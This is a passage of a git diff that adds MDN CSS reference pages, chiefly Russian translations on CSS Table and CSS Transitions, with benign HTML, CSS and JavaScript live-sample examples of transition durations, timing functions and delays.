+ <li>{{cssxref("scroll-margin-block-end")}}</li>
+</ul>
+
+<h2 id="Guides">Guides</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Scroll_Snap/Basic_concepts">Basic concepts of CSS Scroll Snap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Scroll_Snap/compat">Browser Compatibility and Scroll Snap</a></li>
+</ul>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>The individual property pages detail the browser compatibility situation for Scroll Snap. Note that at the present time Firefox still implements an old version of the specification. <a href="/en-US/docs/Web/CSS/CSS_Scroll_Snap/compat">Read the guide to browser compatibility</a> for an overview of how to support both the old and new specification. </p>
diff --git a/files/ru/web/css/css_table/index.html b/files/ru/web/css/css_table/index.html
new file mode 100644
index 0000000000..b1de286ad4
--- /dev/null
+++ b/files/ru/web/css/css_table/index.html
@@ -0,0 +1,101 @@
+---
+title: CSS Table
+slug: Web/CSS/CSS_Table
+tags:
+  - CSS
+  - CSS Reference
+  - CSS Table
+  - Overview
+translation_of: Web/CSS/CSS_Table
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Table</strong> - модуль в CSS, который определяет, как размещать данные в таблицах.</p>
+
+<h2 id="Справка">Справка</h2>
+
+<h3 id="Свойства">Свойства</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("border-collapse")}}</li>
+ <li>{{cssxref("border-spacing")}}</li>
+ <li>{{cssxref("caption-side")}}</li>
+ <li>{{cssxref("empty-cells")}}</li>
+ <li>{{cssxref("table-layout")}}</li>
+ <li>{{cssxref("vertical-align")}}</li>
+</ul>
+</div>
+
+<h2 id="Руководства">Руководства</h2>
+
+<p><em>Нет.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS2.1", "tables.html")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>4.0</td>
+   <td>4.0</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/css_transitions/index.html b/files/ru/web/css/css_transitions/index.html
new file mode 100644
index 0000000000..f281fb9353
--- /dev/null
+++ b/files/ru/web/css/css_transitions/index.html
@@ -0,0 +1,120 @@
+---
+title: CSS Transitions
+slug: Web/CSS/CSS_Transitions
+tags:
+  - CSS
+  - CSS Transitions
+  - Experimental
+  - NeedsTranslation
+  - Overview
+  - Reference
+  - TopicStub
+translation_of: Web/CSS/CSS_Transitions
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p><strong>CSS Transitions</strong> is a module of CSS that defines how to create smooth transitions between values of a given CSS properties. It allows to create them, but also to define their evolution, using timing functions..</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="CSS_Properties">CSS Properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("transition")}}</li>
+ <li>{{cssxref("transition-delay")}}</li>
+ <li>{{cssxref("transition-duration")}}</li>
+ <li>{{cssxref("transition-property")}}</li>
+ <li>{{cssxref("transition-timing-function")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transitions">Using CSS transitions</a></dt>
+ <dd>Step-by-step tutorial about how to create smooth transitions using CSS, this article describes each relevant CSS properties explains how they interact.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0 {{ property_prefix("-webkit") }}<br>
+    26.0</td>
+   <td>{{ CompatGeckoDesktop("2.0") }} {{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoDesktop("16.0") }}</td>
+   <td>10.0</td>
+   <td>11.6 {{ property_prefix("-o") }}<br>
+    12.10 <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot" title="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">#</a></td>
+   <td>3.0 {{ property_prefix("-webkit") }}<br>
+    6.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1 {{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoMobile("2.0") }} {{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoMobile("16.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>10.0 {{ property_prefix("-o") }}<br>
+    12.10 <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot" title="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">#</a></td>
+   <td>3.2 {{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related to CSS Transitions, <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS Animations</a> can triggers animations independantly of value changes.</li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/css/css_transitions/using_css_transitions/index.html b/files/ru/web/css/css_transitions/using_css_transitions/index.html
new file mode 100644
index 0000000000..2e75865c4d
--- /dev/null
+++ b/files/ru/web/css/css_transitions/using_css_transitions/index.html
@@ -0,0 +1,1155 @@
+---
+title: Использование CSS переходов
+slug: Web/CSS/CSS_Transitions/Using_CSS_transitions
+translation_of: Web/CSS/CSS_Transitions/Using_CSS_transitions
+---
+<p>{{CSSref}}{{SeeCompatTable}}</p>
+
+<p><span class="seoSummary"><strong>CSS transitions</strong> предоставляют способ контролировать скорость анимации, при изменении CSS свойств. Вместо того, чтобы свойство применилось сразу, вы можете сделать это действие происходящим в течение какого-то момента времени. Например, если вы смените цвет элемента с белого на чёрный, изменение произойдёт моментально, а вот с CSS transitions, измения произойдут за временные интервалы, следующих кривой ускорения, все из которых могут быть настроены.</span></p>
+
+<p>Анимации, составляющие переход между двумя состояниями, часто называют <em>неявными переходами</em>, так как промежуточные состояния в период между начальным и конечным состоянием неявно определяются браузером.<img alt="A CSS transition tells the browser to draw the intermediate states between the initial and final states, showing the user a smooth transitions." src="/files/4529/TransitionsPrinciple.png" style="display: block; height: 196px; margin: auto; width: 680px;"></p>
+
+<p>CSS переходы позволяют вам решить какие свойства нужно анимировать (перечислением их явно), когда анимация начнётся (установкой задержки), как долго переход будет выполняться (установкой  продолжительности), а также как она будет запущена (определением функции по времени, например линейно или быстро в начале, медленно в конце).</p>
+
+<div class="note"><strong>Замечание:</strong> CSS переходы могут использоваться без префиксов, однако спецификация только недавно достигла стабильности, префиксы по-прежнему необходимы для браузеров на WebKit. Они также необходимы для поддержки старых версий браузеров (таких как: Firefox 15, Opera 12 и более ранних). Таблица совместимости приведена внизу страницы с ещё большим количеством информации.</div>
+
+<h2 id="Какие_CSS_свойства_анимируются">Какие CSS свойства анимируются?</h2>
+
+<p>Разработчик может определить какое свойство и как анимировать. Это позволяет создавать сложные переходы. Так как некоторые свойства не имеет смысла анимировать, перечень<a href="/en-US/docs/CSS/CSS_animated_properties"> доступных для анимирования свойств </a>ограничен определенным набором.</p>
+
+<div class="note">Замечание: Перечень анимируемых свойств может меняться по мере изменения спецификации.</div>
+
+<p class="note">Значение свойства <code>auto</code> является сложным случаем. Спецификация не рекомендует анимировать в значение <code>auto</code> и из значения <code>auto</code>. Браузеры, основанные на Gecko, исполняют это требование в точности, а основанные на WebKit не так строго. Использование переходов с <code>auto</code> следует избегать, так как это может привести к непредсказуемым результатам, в зависимости от браузера и его версии.</p>
+
+<p class="note">Необходимо также соблюдать осторожность при использовании переходов сразу после добавления элемента в DOM с помощью <code>.appendChild()</code> или удаления его <code>display: none; свойства</code>. Это выглядит, как будто никогда не происходило начальное состояние, а элемент всегда был в конечном состоянии. Самый простой способ преодолеть это ограничение - применить <code>window.setTimeout()</code> c некоторым количеством миллисекунд до изменения CSS свойства, которое вы собираетесь анимировать.</p>
+
+<h3 id="Пример_анимирования_нескольких_свойств">Пример анимирования нескольких свойств</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html; highlight:[3]">&lt;body&gt;
+    &lt;p&gt;К блоку ниже применятся анимации для свойств: width, height, background-color, transform. Наведите на него, чтоб увидеть, как они анимируются&lt;/p&gt;
+    &lt;div class="box"&gt;&lt;/div&gt;
+&lt;/body&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css; highlight:[8,9]">.box {
+    border-style: solid;
+    border-width: 1px;
+    display: block;
+    width: 100px;
+    height: 100px;
+    background-color: #0000FF;
+    -webkit-transition: width 2s, height 2s, background-color 2s, -webkit-transform 2s;
+    transition: width 2s, height 2s, background-color 2s, transform 2s;
+}
+
+.box:hover {
+    background-color: #FFCCCC;
+    width: 200px;
+    height: 200px;
+    -webkit-transform: rotate(180deg);
+    transform: rotate(180deg);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Пример_анимирования_нескольких_свойств', 600, 300) }}</p>
+
+<h2 id="CSS_свойства_опредяющие_переходы">CSS свойства, опредяющие переходы</h2>
+
+<p>CSS переходы контролируются свойством<a href="https://developer.mozilla.org/en-US/docs/CSS/transition"> </a>{{cssxref("transition")}}. Это лучший способ их настроить, позволяет избежать длинных свойств и их несоответствий, которые могут сделать отладку CSS долгой.</p>
+
+<p>Можно контролировать определенные параметры перехода следующими подсвойствами:</p>
+
+<p><strong>(Заметьте, что циклы переходов бесконечны только для наших примеров; CSS <code>transition</code>s только анимируют смену свойства. Если вам нужно визуализировать этот цикл, обратите внимание на свойство <a href="/en-US/docs/CSS/animation"><code>animation</code></a>.)</strong></p>
+
+<dl>
+ <dt>{{cssxref("transition-property")}}</dt>
+ <dd>Указывает имя или имена свойств, чьи переходы должны анимироваться. Только свойства, указанные здесь, анимируются в переходах; изменение других свойств будет происходить обычным образом.</dd>
+ <dt>{{cssxref("transition-duration")}}</dt>
+ <dd>Определяет время происхождения перехода. Можно указать время анимирования всех свойств перехода сразу или для каждого свойства в отдельности.
+ <div>
+ <div id="duration_0_5s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-duration: 0.5s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush:css">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 0.5s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 0.5s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 0.5s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transformv color;
+    transition-duration: 0.5s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("duration_0_5s", 275, 150)}}</div>
+ </div>
+
+ <div id="duration_1s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-duration: 1s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush: css">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top -webkit-transform color;
+    -webkit-transition-duration: 1s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform color;
+    transition-duration: 1s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top -webkit-transform transform color;
+    -webkit-transition-duration: 1s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 1s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("duration_1s",275,150)}}</div>
+ </div>
+
+ <div id="duration_2s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-duration: 2s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush: css">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 2s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 2s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("duration_2s",275,150)}}</div>
+ </div>
+
+ <div id="duration_4s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-duration: 4s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush: css">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 4s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 4s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("duration_4s",275,150)}}</div>
+ </div>
+ </div>
+ </dd>
+ <dt>{{cssxref("transition-timing-function")}}</dt>
+ <dd><img alt="" src="/files/3434/TF_with_output_gt_than_1.png" style="float: left; height: 173px; margin-right: 5px; width: 130px;">Определяет функцию, указывающую, как вычисляются промежуточные значения свойств. Вы также можете выбрать ослабления от функции замедления Шпаргалка.Большинство <a href="/en-US/docs/CSS/timing-function">функций времени</a> может быть определено графиком соответствующей функции, образующей четырьмя точками кривую Безье. Также можете выбрать функцию отсюда <a href="http://easings.net/">Easing Functions Cheat Sheet</a>.
+ <div class="cleared">
+ <div id="ttf_ease" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-timing-function: ease</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush: css">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: ease;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: ease;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: ease;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: ease;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("ttf_ease",275,150)}}</div>
+ </div>
+
+ <div id="ttf_linear" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-timing-function: linear</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush: css">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: linear;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("ttf_linear",275,150)}}</div>
+ </div>
+
+ <div id="ttf_stepend" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-timing-function: step-end</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush: css">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: step-end;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: step-end;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: step-end;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: step-end;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("ttf_stepend",275,150)}}</div>
+ </div>
+
+ <div id="ttf_step4end" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-timing-function: steps(4, end)</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush: css">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: steps(4, end);
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: steps(4, end);
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: steps(4, end);
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: steps(4, end);
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("ttf_step4end",275,150)}}</div>
+ </div>
+ </div>
+ </dd>
+ <dt>{{cssxref("transition-delay")}}</dt>
+ <dd>Определяет как много должно пройти времени, перед тем как начнётся переход.
+ <div>
+ <div id="delay_0_5s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-delay: 0.5s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush: css">.parent {
+    width: 250px;
+    height: 125px;
+}
+
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 0.5s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 0.5s;
+    transition-timing-function: linear;
+}
+
+.box1 {
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position: absolute;
+     -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 0.5s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 0.5s;
+    transition-timing-function: linear;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("delay_0_5s",275,150)}}</div>
+ </div>
+
+ <div id="delay_1s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-delay: 1s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush: css">.parent {
+    width: 250px;
+    height: 125px;
+}
+
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+     -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 1s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 1s;
+    transition-timing-function: linear;
+}
+
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 1s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 1s;
+    transition-timing-function: linear;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
